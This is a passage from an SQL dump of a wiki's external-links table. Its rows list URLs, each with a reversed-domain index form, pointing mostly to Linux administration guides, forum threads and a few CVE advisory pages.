www./index.php/2009/06/undocumented-equallogic-cli-commands/'),(330,'http://www.cupfighter.net/index.php/2010/04/undocumented-equallogic-cli-commands-part-ii/','http://net.cupfighter.www./index.php/2010/04/undocumented-equallogic-cli-commands-part-ii/'),(159,'http://www.googlux.com/bonnie.html','http://com.googlux.www./bonnie.html'),(159,'http://www.linuxinsight.com/how_fast_is_your_disk.html','http://com.linuxinsight.www./how_fast_is_your_disk.html'),(159,'http://it.toolbox.com/blogs/database-soup/testing-disk-speed-the-dd-test-31069','http://com.toolbox.it./blogs/database-soup/testing-disk-speed-the-dd-test-31069'),(332,'http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm','http://com.redhat.fedora.download./pub/epel/5/i386/epel-release-5-4.noarch.rpm'),(332,'http://rpms.famillecollet.com/enterprise/remi-release-5.rpm','http://com.famillecollet.rpms./enterprise/remi-release-5.rpm'),(332,'http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.5.1-1.el5.rf.i386.rpm','http://be.sw.apt./redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.5.1-1.el5.rf.i386.rpm'),(332,'http://bluhaloit.wordpress.com/2008/03/13/installing-php-52x-on-redhat-es5-centos-5-etc/','http://com.wordpress.bluhaloit./2008/03/13/installing-php-52x-on-redhat-es5-centos-5-etc/'),(332,'http://blog.famillecollet.com/pages/Config-en','http://com.famillecollet.blog./pages/Config-en'),(333,'http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1004340','http://com.vmware.kb./selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1004340'),(333,'http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1714','http://com.vmware.kb./selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1714'),(334,'ftp://ftp.pbone.net/mirror/ftp5.gwdg.de/pub/opensuse/repositories/LSB:/Spec-3.1/openSUSE_Factory/x86_64/lsb-build-desktop-3.1.1-5.49.x86_64.rpm','ftp://net.pbone.ftp./mirror/ftp5.gwdg.de/pub/opensuse/repositories/LSB:/Spec-3.1/openSUSE_Factory/x86_64/lsb-build-desktop-3.1.1-5.49.x86_64.rpm'),(334,'http://www.enterprisedb.com/learning/pginst_guide.do','http://com.enterprisedb.www./learning/pginst_guide.do'),(334,'http://forums.enterprisedb.com/posts/list/2079.page','http://com.enterprisedb.forums./posts/list/2079.page'),(334,'http://forums.enterprisedb.com/posts/list/2311.page','http://com.enterprisedb.forums./posts/list/2311.page'),(335,'http://gst.tennessee.edu/biophys.html','http://edu.tennessee.gst./biophys.html'),(335,'http://catalog.utk.edu/preview_program.php?catoid=5&poid=1554','http://edu.utk.catalog./preview_program.php?catoid=5&poid=1554'),(335,'http://web.bio.utk.edu/bcmb/undergrad/Undergraduate_Program_Description.shtml','http://edu.utk.bio.web./bcmb/undergrad/Undergraduate_Program_Description.shtml'),(335,'http://web.bio.utk.edu/bcmb/undergrad/Introduction_Page.shtml','http://edu.utk.bio.web./bcmb/undergrad/Introduction_Page.shtml'),(335,'https://www.eecs.utk.edu/ug/main','https://edu.utk.eecs.www./ug/main'),(335,'http://web.utk.edu/~anthrop/majors.html','http://edu.utk.web./~anthrop/majors.html'),(335,'https://www.eecs.utk.edu/news/department/2009-11-17-11-22-nvidia-names-university-of-tennessee-a-cuda-center-of-excellence','https://edu.utk.eecs.www./news/department/2009-11-17-11-22-nvidia-names-university-of-tennessee-a-cuda-center-of-excellence'),(335,'http://www.nics.tennessee.edu/Jeremy_Smith_Kraken_simulations','http://edu.tennessee.nics.www./Jeremy_Smith_Kraken_simulations'),(335,'https://www.teragrid.org/web/about/','https://org.teragrid.www./web/about/'),(336,'http://publib.boulder.ibm.com/infocenter/lnxinfo/v3r0m0/topic/liaab/ic-homepage.htm','http://com.ibm.boulder.publib./infocenter/lnxinfo/v3r0m0/topic/liaab/ic-homepage.htm'),(337,'http://www.how2centos.com/installing-redmine-subversion-on-centos-5-5/','http://com.how2centos.www./installing-redmine-subversion-on-centos-5-5/'),(337,'http://www.redmine.org/wiki/redmine/RedmineInstall','http://org.redmine.www./wiki/redmine/RedmineInstall'),(337,'http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm','http://be.sw.apt./redhat/el5/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el5.rf.i386.rpm'),(337,'http://rpms.famillecollet.com/enterprise/remi-release-5.rpm','http://com.famillecollet.rpms./enterprise/remi-release-5.rpm'),(337,'http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm','http://com.redhat.fedora.download./pub/epel/5/i386/epel-release-5-4.noarch.rpm'),(337,'http://centos.karan.org/el5/misc/testing/i386/RPMS/','http://org.karan.centos./el5/misc/testing/i386/RPMS/'),(337,'http://bitnami.org/stack/redmine','http://org.bitnami./stack/redmine'),(337,'http://www.redmine.org/boards/1/topics/3008','http://org.redmine.www./boards/1/topics/3008'),(337,'http://rubyforge.org/forum/forum.php?thread_id=18511&forum_id=7505','http://org.rubyforge./forum/forum.php?thread_id=18511&forum_id=7505'),(337,'http://wiki.debuntu.org/wiki/Redmine/Install_on_Debian_Etch','http://org.debuntu.wiki./wiki/Redmine/Install_on_Debian_Etch'),(337,'http://blog.itsmine.co.uk/2009/01/22/howto-install-subversion-and-redmine-on-centos5-rhel5/','http://uk.co.itsmine.blog./2009/01/22/howto-install-subversion-and-redmine-on-centos5-rhel5/'),(337,'http://blesseddlo.wordpress.com/2010/07/30/install-redmine-on-centos5rhel5/','http://com.wordpress.blesseddlo./2010/07/30/install-redmine-on-centos5rhel5/'),(337,'http://www.redmine.org/wiki/1/RedmineLDAP','http://org.redmine.www./wiki/1/RedmineLDAP'),(337,'http://www.redmine.org/issues/5592','http://org.redmine.www./issues/5592'),(337,'http://www.redmine.org/wiki/1/HowTo_configure_Apache_to_run_Redmine','http://org.redmine.www./wiki/1/HowTo_configure_Apache_to_run_Redmine'),(337,'http://rubyforge.org/forum/forum.php?thread_id=27348&forum_id=7505','http://org.rubyforge./forum/forum.php?thread_id=27348&forum_id=7505'),(337,'http://www.redmine.org/wiki/redmine/EmailConfiguration','http://org.redmine.www./wiki/redmine/EmailConfiguration'),(337,'http://redmineblog.com/articles/asynchronous-email-delivery/','http://com.redmineblog./articles/asynchronous-email-delivery/'),(337,'http://wiki.ousli.org/index.php/RedmineUbuntu','http://org.ousli.wiki./index.php/RedmineUbuntu'),(337,'http://www.redmine.org/boards/2/topics/13923','http://org.redmine.www./boards/2/topics/13923'),(337,'http://www.imminentweb.com/technologies/install-redmine-centos','http://com.imminentweb.www./technologies/install-redmine-centos'),(339,'http://en.wikipedia.org/wiki/Core_wars','http://org.wikipedia.en./wiki/Core_wars'),(339,'http://www.corewar.info/emulator.htm','http://info.corewar.www./emulator.htm'),(339,'http://sal.math.ualberta.ca/index.php','http://ca.ualberta.math.sal./index.php'),(339,'http://www.koth.org/pmars/','http://org.koth.www./pmars/'),(339,'ftp://ftp.univie.ac.at/systems/linux/fedora/updates/13/i386/pmars-0.9.2-4.fc13.i686.rpm','ftp://at.ac.univie.ftp./systems/linux/fedora/updates/13/i386/pmars-0.9.2-4.fc13.i686.rpm'),(339,'ftp://ftp.univie.ac.at/systems/linux/fedora/updates/13/x86_64/pmars-0.9.2-4.fc13.x86_64.rpm','ftp://at.ac.univie.ftp./systems/linux/fedora/updates/13/x86_64/pmars-0.9.2-4.fc13.x86_64.rpm'),(339,'http://sourceforge.net/projects/corewar/files/','http://net.sourceforge./projects/corewar/files/'),(339,'http://nmars.sourceforge.net/screenshots.shtml','http://net.sourceforge.nmars./screenshots.shtml'),(339,'http://mail.gnome.org/archives/gtk-list/2002-April/msg00190.html','http://org.gnome.mail./archives/gtk-list/2002-April/msg00190.html'),(340,'http://plan-b-for-openoffice.org/index','http://org.plan-b-for-openoffice./index'),(340,'http://www.timelordz.com/blog/?p=558','http://com.timelordz.www./blog/?p=558'),(340,'http://www.mendeley.com/blog/tag/openoffice-writer-plug-in/','http://com.mendeley.www./blog/tag/openoffice-writer-plug-in/'),(340,'http://sourceforge.net/projects/ooomacros/files/Readability%20Analyser/','http://net.sourceforge./projects/ooomacros/files/Readability%20Analyser/'),(340,'http://en.wikipedia.org/wiki/Flesch%E2%80%93Kincaid_readability_test','http://org.wikipedia.en./wiki/Flesch%E2%80%93Kincaid_readability_test'),(340,'http://extensions.services.openoffice.org/project/ReadabilityReport','http://org.openoffice.services.extensions./project/ReadabilityReport'),(340,'http://ubuntuforums.org/archive/index.php/t-749071.html','http://org.ubuntuforums./archive/index.php/t-749071.html'),(340,'http://blogs.sun.com/oootnt/entry/about_paragraph_spacing','http://com.sun.blogs./oootnt/entry/about_paragraph_spacing'),(340,'http://www.linuxjournal.com/node/1005665','http://com.linuxjournal.www./node/1005665'),(339,'http://vyznev.net/corewar/guide.html','http://net.vyznev./corewar/guide.html'),(339,'http://www.corewar.info/beginner.htm','http://info.corewar.www./beginner.htm'),(339,'http://corewar.co.uk/guides.htm','http://uk.co.corewar./guides.htm'),(339,'http://forums.opensuse.org/english/development/programming-scripting/445282-opensuse-x86_64-glib2-package-32-bit-development.html','http://org.opensuse.forums./english/development/programming-scripting/445282-opensuse-x86_64-glib2-package-32-bit-development.html'),(341,'http://asm.sourceforge.net/','http://net.sourceforge.asm./'),(341,'http://homepage.mac.com/randyhyde/webster.cs.ucr.edu/www.artofasm.com/Linux/index.html','http://com.mac.homepage./randyhyde/webster.cs.ucr.edu/www.artofasm.com/Linux/index.html'),(341,'http://www.delorie.com/djgpp/v2faq/faq8_20.html','http://com.delorie.www./djgpp/v2faq/faq8_20.html'),(341,'http://asm.sourceforge.net/articles/linasm.html','http://net.sourceforge.asm./articles/linasm.html'),(342,'https://bugzilla.redhat.com/show_bug.cgi?id=634449','https://com.redhat.bugzilla./show_bug.cgi?id=634449'),(342,'http://seclists.org/fulldisclosure/2010/Sep/268','http://org.seclists./fulldisclosure/2010/Sep/268'),(342,'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3301','http://gov.nist.nvd.web./view/vuln/detail?vulnId=CVE-2010-3301'),(343,'http://www.linuxweblog.com/node/288','http://com.linuxweblog.www./node/288'),(343,'http://www.phpro.org/tutorials/Introduction-to-PHP-PDO.html','http://org.phpro.www./tutorials/Introduction-to-PHP-PDO.html'),(344,'http://pgedit.com/install_drupal','http://com.pgedit./install_drupal'),(344,'http://mameou.wordpress.com/2008/05/06/drupal-working-with-databases/','http://com.wordpress.mameou./2008/05/06/drupal-working-with-databases/'),(330,'http://psonlinehelp.equallogic.com/V3.3/groupmanager.htm','http://com.equallogic.psonlinehelp./V3.3/groupmanager.htm'),(342,'http://www.cyberciti.biz/faq/linux-find-out-patch-can-cve-applied/','http://biz.cyberciti.www./faq/linux-find-out-patch-can-cve-applied/'),(345,'http://techbase.kde.org/Development/Tutorials/Plasma','http://org.kde.techbase./Development/Tutorials/Plasma'),(232,'http://www.debian-administration.org/articles/349','http://org.debian-administration.www./articles/349'),(346,'http://tim.oreilly.com/pub/a/onlamp/2008/03/04/step-by-step-configuring-ssl-under-apache.html','http://com.oreilly.tim./pub/a/onlamp/2008/03/04/step-by-step-configuring-ssl-under-apache.html'),(346,'http://www.g-loaded.eu/2007/08/10/ssl-enabled-name-based-apache-virtual-hosts-with-mod_gnutls/','http://eu.g-loaded.www./2007/08/10/ssl-enabled-name-based-apache-virtual-hosts-with-mod_gnutls/'),(346,'http://lists.centos.org/pipermail/centos/2007-August/042647.html','http://org.centos.lists./pipermail/centos/2007-August/042647.html'),(346,'http://forum.filezilla-project.org/viewtopic.php?f=3&t=16927&start=0','http://org.filezilla-project.forum./viewtopic.php?f=3&t=16927&start=0'),(346,'http://blog.josefsson.org/2009/04/16/cacert-and-gnutls/','http://org.josefsson.blog./2009/04/16/cacert-and-gnutls/'),(346,'http://www.patrickmin.com/linux/tip.php?name=checkinstall','http://com.patrickmin.www./linux/tip.php?name=checkinstall'),(342,'http://xorl.wordpress.com/2010/10/04/cve-2010-2959-linux-kernel-controller-area-network-integer-overflow/','http://com.wordpress.xorl./2010/10/04/cve-2010-2959-linux-kernel-controller-area-network-integer-overflow/'),(342,'http://jon.oberheide.org/files/i-can-haz-modharden.c','http://org.oberheide.jon./files/i-can-haz-modharden.c'),(342,'http://sota.gen.nz/af_can/','http://nz.gen.sota./af_can/'),(342,'https://bugzilla.redhat.com/show_bug.cgi?id=625699','https://com.redhat.bugzilla./show_bug.cgi?id=625699'),(342,'http://cve.mitre.org/find/index.html','http://org.mitre.cve./find/index.html'),(320,'http://grsecurity.net/support.php','http://net.grsecurity./support.php'),(347,'http://www.linuxforu.com/previews/subversion-16-security-improvements-illustrated/','http://com.linuxforu.www./previews/subversion-16-security-improvements-illustrated/'),(347,'https://esdss-collab.ornl.gov/usanpn/svn/','https://gov.ornl.esdss-collab./usanpn/svn/'),(347,'http://rpm.pbone.net/','http://net.pbone.rpm./'),(347,'https://bugzilla.redhat.com/show_bug.cgi?id=500933','https://com.redhat.bugzilla./show_bug.cgi?id=500933'),(347,'http://lizards.opensuse.org/2010/01/15/using-kwallet-or-gnome-keyring-with-subversion/','http://org.opensuse.lizards./2010/01/15/using-kwallet-or-gnome-keyring-with-subversion/'),(347,'http://top-frog.com/2009/03/30/mac-os-x-subversion-and-keychain/','http://com.top-frog./2009/03/30/mac-os-x-subversion-and-keychain/'),(347,'http://superuser.com/questions/186575/whats-the-best-way-to-store-an-encrypted-svn-password-on-ubuntu-server','http://com.superuser./questions/186575/whats-the-best-way-to-store-an-encrypted-svn-password-on-ubuntu-server'),(100,'https://cfengine.org/pipermail/help-cfengine/2008-January/002667.html','https://org.cfengine./pipermail/help-cfengine/2008-January/002667.html'),(348,'http://spamassassin.apache.org/tests_3_3_x.html','http://org.apache.spamassassin./tests_3_3_x.html'),(348,'http://spamassassin.apache.org/full/3.2.x/doc/spamc.html','http://org.apache.spamassassin./full/3.2.x/doc/spamc.html'),(245,'http://www.parallax.com/tabid/121/default.aspx','http://com.parallax.www./tabid/121/default.aspx'),(231,'http://www.howtogeek.com/howto/ubuntu/install-subversion-with-web-access-on-ubuntu/','http://com.howtogeek.www./howto/ubuntu/install-subversion-with-web-access-on-ubuntu/'),(231,'http://mywebsite.com/svn/myproject\'','http://com.mywebsite./svn/myproject\''),(231,'http://mywebsite.com','http://com.mywebsite./'),(231,'http://stackoverflow.com/questions/1025377/an-svn-error-200-ok-when-checking-out-from-my-online-repo','http://com.stackoverflow./questions/1025377/an-svn-error-200-ok-when-checking-out-from-my-online-repo'),(337,'http://github.com/alvila/redmine_reminder.git','http://com.github./alvila/redmine_reminder.git'),(310,'http://www.infodrom.org/Debian/doc/maint/Maintenance-alternatives.html','http://org.infodrom.www./Debian/doc/maint/Maintenance-alternatives.html'),(310,'http://linuxbasics.org/tutorials/using/debian_update-alternatives','http://org.linuxbasics./tutorials/using/debian_update-alternatives'),(349,'http://cs.its.uiowa.edu/email/ldap/evolution-12.shtml','http://edu.uiowa.its.cs./email/ldap/evolution-12.shtml'),(142,'http://www.yolinux.com/TUTORIALS/LinuxTutorialMySQL.html','http://com.yolinux.www./TUTORIALS/LinuxTutorialMySQL.html'),(245,'http://www.makershed.com','http://com.makershed.www./'),(245,'http://www.instructables.com','http://com.instructables.www./'),(350,'http://milesburton.com/index.php/DS18B20_Temperature_Measurement_1-Wire_Device','http://com.milesburton./index.php/DS18B20_Temperature_Measurement_1-Wire_Device'),(350,'http://milesburton.com/index.php/Dallas_Temperature_Control_Library','http://com.milesburton./index.php/Dallas_Temperature_Control_Library'),(108,'http://www.zarzax.com/chmod-recursively-on-directories-using-find/','http://com.zarzax.www./chmod-recursively-on-directories-using-find/'),(352,'http://www.postgresonline.com/special_feature.php?sf_name=postgresql83_psql_cheatsheet&outputformat=html','http://com.postgresonline.www./special_feature.php?sf_name=postgresql83_psql_cheatsheet&outputformat=html'),(353,'http://en.wikipedia.org/wiki/Advanced_Format','http://org.wikipedia.en./wiki/Advanced_Format'),(353,'http://www.ibm.com/developerworks/linux/library/l-4kb-sector-disks/','http://com.ibm.www./developerworks/linux/library/l-4kb-sector-disks/'),(353,'http://drakpzone.wordpress.com/2010/07/11/partition-alignment-in-rhel-environments-ks/','http://com.wordpress.drakpzone./2010/07/11/partition-alignment-in-rhel-environments-ks/'),(353,'http://www.yellow-bricks.com/2010/04/08/aligning-your-vms-virtual-harddisks/','http://com.yellow-bricks.www./2010/04/08/aligning-your-vms-virtual-harddisks/'),(353,'http://linuxconfig.org/linux-wd-ears-advanced-format','http://org.linuxconfig./linux-wd-ears-advanced-format'),(353,'http://www.bit-tech.net/hardware/storage/2010/04/01/the-facts-4k-advanced-format-hard-disks/1','http://net.bit-tech.www./hardware/storage/2010/04/01/the-facts-4k-advanced-format-hard-disks/1'),(353,'http://ubuntuforums.org/archive/index.php/t-1496239.html','http://org.ubuntuforums./archive/index.php/t-1496239.html'),(353,'http://hothardware.com/Reviews/WDs-1TB-Caviar-Green-w-Advanced-Format-Windows-XP-Users-Pay-Attention/?page=1','http://com.hothardware./Reviews/WDs-1TB-Caviar-Green-w-Advanced-Format-Windows-XP-Users-Pay-Attention/?page=1'),(353,'http://www.idema.org/_smartsite/external/bigsector/AF_Are_You_Ready.pdf','http://org.idema.www./_smartsite/external/bigsector/AF_Are_You_Ready.pdf'),(353,'http://community.wdc.com/t5/Other-Ideas/Release-non-512-byte-sector-emulated-firmware-for-WD-EARS/idi-p/21347/page/2','http://com.wdc.community./t5/Other-Ideas/Release-non-512-byte-sector-emulated-firmware-for-WD-EARS/idi-p/21347/page/2'),(353,'http://www.gossamer-threads.com/lists/linux/kernel/903485','http://com.gossamer-threads.www./lists/linux/kernel/903485'),(353,'http://support.wdc.com/product/download.asp?groupid=609&sid=113','http://com.wdc.support./product/download.asp?groupid=609&sid=113'),(353,'http://www.mail-archive.com/centos@centos.org/msg45172.html','http://com.mail-archive.www./centos@centos.org/msg45172.html'),(353,'http://thread.gmane.org/gmane.linux.utilities.util-linux-ng/2926','http://org.gmane.thread./gmane.linux.utilities.util-linux-ng/2926'),(353,'http://community.wdc.com/t5/Desktop/Problem-with-WD-Advanced-Format-drive-in-LINUX-WD15EARS/td-p/6395/page/2','http://com.wdc.community./t5/Desktop/Problem-with-WD-Advanced-Format-drive-in-LINUX-WD15EARS/td-p/6395/page/2'),(353,'http://thunk.org/tytso/blog/2009/02/20/aligning-filesystems-to-an-ssds-erase-block-size/','http://org.thunk./tytso/blog/2009/02/20/aligning-filesystems-to-an-ssds-erase-block-size/'),(353,'http://www.wdc.com/wdproducts/library/WhitePapers/ENG/2579-771430.pdf','http://com.wdc.www./wdproducts/library/WhitePapers/ENG/2579-771430.pdf'),(353,'http://wdc.custhelp.com/cgi-bin/wdc.cfg/php/enduser/std_adp.php?p_faqid=5655','http://com.custhelp.wdc./cgi-bin/wdc.cfg/php/enduser/std_adp.php?p_faqid=5655'),(353,'http://www.wdc.com/en/products/advancedformat/','http://com.wdc.www./en/products/advancedformat/'),(353,'http://forums.debian.net/viewtopic.php?f=7&t=50961','http://net.debian.forums./viewtopic.php?f=7&t=50961'),(337,'http://www.redmine.org/issues/1110','http://org.redmine.www./issues/1110'),(337,'https://github.com/alvila/redmine_reminder','https://com.github./alvila/redmine_reminder'),(337,'http://bitbucket.org/haru_iida/redmine_theme_changer','http://org.bitbucket./haru_iida/redmine_theme_changer'),(337,'http://www.r-labs.org/projects/r-labs/wiki/Theme_Changer_en','http://org.r-labs.www./projects/r-labs/wiki/Theme_Changer_en'),(337,'http://github.com/raulpober/redmine_googledocs','http://com.github./raulpober/redmine_googledocs'),(337,'http://theadmin.org/articles/2009/01/13/redmine-stuff-to-do-plugin-released/','http://org.theadmin./articles/2009/01/13/redmine-stuff-to-do-plugin-released/'),(337,'http://www.redmine.org/wiki/1/Plugin_List#Theme-Changer','http://org.redmine.www./wiki/1/Plugin_List#Theme-Changer'),(337,'http://www.redmine.org/wiki/1/Plugins','http://org.redmine.www./wiki/1/Plugins'),(337,'http://bitnami.org/files/stacks/redmine/1.0.2-0/README.txt','http://org.bitnami./files/stacks/redmine/1.0.2-0/README.txt'),(159,'http://www.textuality.com/bonnie/advice.html','http://com.textuality.www./bonnie/advice.html'),(159,'http://www.westnet.com/~gsmith/content/postgresql/pg-disktesting.htm','http://com.westnet.www./~gsmith/content/postgresql/pg-disktesting.htm'),(159,'http://timf.anansi-web.com/openfiler/benchmark.html','http://com.anansi-web.timf./openfiler/benchmark.html'),(337,'http://www.redmine.org/issues/5490','http://org.redmine.www./issues/5490'),(337,'http://www.redmine.org/issues/443','http://org.redmine.www./issues/443'),(213,'http://forums.opensuse.org/english/get-help-here/applications/449346-tomcat6-blank-page-displayed-no-root-folder.html#post2248303','http://org.opensuse.forums./english/get-help-here/applications/449346-tomcat6-blank-page-displayed-no-root-folder.html#post2248303'),(353,'https://www.centos.org/modules/newbb/viewtopic.php?viewmode=flat&topic_id=25914&forum=37','https://org.centos.www./modules/newbb/viewtopic.php?viewmode=flat&topic_id=25914&forum=37'),(351,'http://www.centos.org/docs/5/html/Cluster_Logical_Volume_Manager/LV_create.html','http://org.centos.www./docs/5/html/Cluster_Logical_Volume_Manager/LV_create.html'),(337,'https://github.com/edavis10','https://com.github./edavis10'),(337,'http://www.redmine.org/boards/2/topics/2820','http://org.redmine.www./boards/2/topics/2820'),(337,'http://blog.goyello.com/2009/07/16/how-to-manage-email-notifications-within-redmine/','http://com.goyello.blog./2009/07/16/how-to-manage-email-notifications-within-redmine/'),(337,'http://www.redmine.org/issues/6549','http://org.redmine.www./issues/6549'),(337,'http://www.redmine.org/wiki/redmine/FAQ','http://org.redmine.www./wiki/redmine/FAQ'),(337,'http://www.redmine.org/issues/787','http://org.redmine.www./issues/787'),(337,'http://www.redmine.org/wiki/1/RedmineRepositories','http://org.redmine.www./wiki/1/RedmineRepositories'),(337,'http://www.redmine.org/wiki/redmine/HowTo_configure_Redmine_for_advanced_Subversion_integration','http://org.redmine.www./wiki/redmine/HowTo_configure_Redmine_for_advanced_Subversion_integration'),(354,'http://www.thocp.net/hardware/supercomputers.htm','http://net.thocp.www./hardware/supercomputers.htm'),(355,'https://help.ubuntu.com/community/DebootstrapChroot','https://com.ubuntu.help./community/DebootstrapChroot'),(355,'http://www.codeweavers.com/products/cxlinux/requirements/','http://com.codeweavers.www./products/cxlinux/requirements/'),(312,'http://www.rheasdiving.com/','http://com.rheasdiving.www./'),(231,'http://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-serversetup-apache.html','http://net.tortoisesvn./docs/release/TortoiseSVN_en/tsvn-serversetup-apache.html'),(356,'http://etherboot.org/wiki/romburning','http://org.etherboot./wiki/romburning'),(356,'http://www.etherboot.org/wiki/romburning/vbox','http://org.etherboot.www./wiki/romburning/vbox'),(356,'http://www.etherboot.org/wiki/appnoted','http://org.etherboot.www./wiki/appnoted'),(356,'http://boot.kernel.org/','http://org.kernel.boot./'),(356,'http://support.etherboot.org/index.php?do=details&task_id=98','http://org.etherboot.support./index.php?do=details&task_id=98'),(356,'http://www.etherboot.org/wiki/commandline','http://org.etherboot.www./wiki/commandline'),(356,'http://www.etherboot.org/wiki/httpboot','http://org.etherboot.www./wiki/httpboot'),(356,'http://www.rfc-editor.org/rfc/rfc5071.txt','http://org.rfc-editor.www./rfc/rfc5071.txt'),(357,'http://www.tutorialspoint.com/ruby-on-rails-2.1/index.htm','http://com.tutorialspoint.www./ruby-on-rails-2.1/index.htm'),(358,'http://www.tldp.org/HOWTO/html_single/UPS-HOWTO/','http://org.tldp.www./HOWTO/html_single/UPS-HOWTO/'),(358,'http://www.linux.com/archive/articles/128099','http://com.linux.www./archive/articles/128099'),(358,'http://www.apcupsd.org/index.html','http://org.apcupsd.www./index.html'),(358,'http://www.networkupstools.org/','http://org.networkupstools.www./'),(358,'http://forum.kde.org/viewtopic.php?f=22&t=62421','http://org.kde.forum./viewtopic.php?f=22&t=62421'),(39,'http://en.opensuse.org/SDB:Network_installation','http://org.opensuse.en./SDB:Network_installation'),(39,'http://en.opensuse.org/openSUSE:Mirrors','http://org.opensuse.en./openSUSE:Mirrors'),(39,'http://www.gtlib.gatech.edu/pub/opensuse/distribution/11.3/repo/oss/','http://edu.gatech.gtlib.www./pub/opensuse/distribution/11.3/repo/oss/'),(260,'http://forums.fedoraforum.org/showthread.php?t=175744','http://org.fedoraforum.forums./showthread.php?t=175744'),(260,'http://www.linuxconfig.org/linux-mediatomb-installation-and-setup-for-ps3','http://org.linuxconfig.www./linux-mediatomb-installation-and-setup-for-ps3'),(260,'http://elinux.org/DLNA_Open_Source_Projects','http://org.elinux./DLNA_Open_Source_Projects'),(260,'http://en.gentoo-wiki.com/wiki/MediaTomb','http://com.gentoo-wiki.en./wiki/MediaTomb'),(359,'http://racktables.org/','http://org.racktables./'),(359,'http://sourceforge.net/apps/mediawiki/racktables/index.php?title=Special:AllPages','http://net.sourceforge./apps/mediawiki/racktables/index.php?title=Special:AllPages'),(359,'http://www.freelists.org/post/racktables-users/RackTables-Nagios-Bacula-was-How-to-handle-virtual-machines','http://org.freelists.www./post/racktables-users/RackTables-Nagios-Bacula-was-How-to-handle-virtual-machines'),(359,'http://racksmith.net/','http://net.racksmith./'),(359,'http://racksmith.net/forum/index.php','http://net.racksmith./forum/index.php'),(359,'http://help.racksmith.net/','http://net.racksmith.help./'),(359,'http://demo.racksmith.net/','http://net.racksmith.demo./'),(359,'http://flux.org.uk/projects/rackmonkey/features','http://uk.org.flux./projects/rackmonkey/features'),(359,'http://www.glpi-project.org/spip.php?article47','http://org.glpi-project.www./spip.php?article47'),(323,'http://stacksmashing.net/2010/11/15/cracking-in-the-cloud-amazons-new-ec2-gpu-instances/','http://net.stacksmashing./2010/11/15/cracking-in-the-cloud-amazons-new-ec2-gpu-instances/'),(360,'http://en.wikipedia.org/wiki/IDL_(programming_language)','http://org.wikipedia.en./wiki/IDL_(programming_language)'),(360,'http://www.ittvis.com/','http://com.ittvis.www./'),(360,'http://www.ittvis.com/ProductServices/IDL.aspx','http://com.ittvis.www./ProductServices/IDL.aspx'),(360,'http://gnudatalanguage.sourceforge.net/','http://net.sourceforge.gnudatalanguage./'),(360,'http://www.fluent.com/support/installation/licensing/notalk.htm','http://com.fluent.www./support/installation/licensing/notalk.htm'),(360,'http://resources.arcgis.com/content/kbase?fa=articleShow&d=19644','http://com.arcgis.resources./content/kbase?fa=articleShow&d=19644'),(360,'http://www.ittvis.com','http://com.ittvis.www./'),(360,'http://www.nites.noaa.gov/idl/faq.htm','http://gov.noaa.nites.www./idl/faq.htm'),(360,'http://idlastro.gsfc.nasa.gov/idl_html_help/License_Manager_Startup.html','http://gov.nasa.gsfc.idlastro./idl_html_help/License_Manager_Startup.html'),(360,'http://www.altera.com/download/licensing/setup/lic-setup-float-unix.html','http://com.altera.www./download/licensing/setup/lic-setup-float-unix.html'),(360,'http://resources.arcgis.com/content/kbase?fa=articleShow&d=12654','http://com.arcgis.resources./content/kbase?fa=articleShow&d=12654'),(360,'http://www.dfanning.com/documents/idllinks.html','http://com.dfanning.www./documents/idllinks.html'),(360,'http://fermi.jhuapl.edu/s1r/idl/s1rlib/local_idl.html','http://edu.jhuapl.fermi./s1r/idl/s1rlib/local_idl.html'),(360,'http://www.bu.edu/tech/research/training/tutorials/idl/','http://edu.bu.www./tech/research/training/tutorials/idl/'),(361,'http://www.zlib.net/pigz/','http://net.zlib.www./pigz/'),(361,'http://compression.ca/pbzip2/','http://ca.compression./pbzip2/'),(361,'http://www.zlib.net/pigz/pigz.pdf','http://net.zlib.www./pigz/pigz.pdf'),(361,'http://trac.mcs.anl.gov/projects/parallel-netcdf/','http://gov.anl.mcs.trac./projects/parallel-netcdf/'),(361,'http://www.hdfgroup.org/Parallel_HDF/PHDF5/','http://org.hdfgroup.www./Parallel_HDF/PHDF5/'),(361,'http://www.hdfgroup.org/hdf5-quest.html#phdf5','http://org.hdfgroup.www./hdf5-quest.html#phdf5'),(361,'http://www.unidata.ucar.edu/software/netcdf/docs/faq.html','http://edu.ucar.unidata.www./software/netcdf/docs/faq.html'),(361,'http://www.hdfgroup.org/doc_resource/SZIP/','http://org.hdfgroup.www./doc_resource/SZIP/'),(361,'http://hdfeos.org/workshops/ws06/presentations/Pourmal/HDF5_IO_Perf.pdf','http://org.hdfeos./workshops/ws06/presentations/Pourmal/HDF5_IO_Perf.pdf'),(361,'http://www.hdfgroup.org/h4toh5/','http://org.hdfgroup.www./h4toh5/'),(361,'http://forums.nvidia.com/index.php?showtopic=77912','http://com.nvidia.forums./index.php?showtopic=77912'),(304,'http://developer.download.nvidia.com/compute/cuda/3_2_prod/toolkit/docs/CUDA_Toolkit_Release_Notes_Linux.txt','http://com.nvidia.download.developer./compute/cuda/3_2_prod/toolkit/docs/CUDA_Toolkit_Release_Notes_Linux.txt'),(304,'http://forums.nvidia.com/index.php?showtopic=183259','http://com.nvidia.forums./index.php?showtopic=183259'),(304,'http://developer.download.nvidia.com/compute/cuda/3_2_prod/docs/Getting_Started_Linux.pdf','http://com.nvidia.download.developer./compute/cuda/3_2_prod/docs/Getting_Started_Linux.pdf'),(304,'http://developer.nvidia.com/object/cuda_3_2_downloads.html#Linux','http://com.nvidia.developer./object/cuda_3_2_downloads.html#Linux'),(41,'http://www.justlinux.com/nhf/Networks/Installing_and_Using_CPAN.html','http://com.justlinux.www./nhf/Networks/Installing_and_Using_CPAN.html'),(41,'http://www.perlhowto.com/extending_the_library_path','http://com.perlhowto.www./extending_the_library_path'),(41,'http://sourceforge.net/projects/perlmod/','http://net.sourceforge./projects/perlm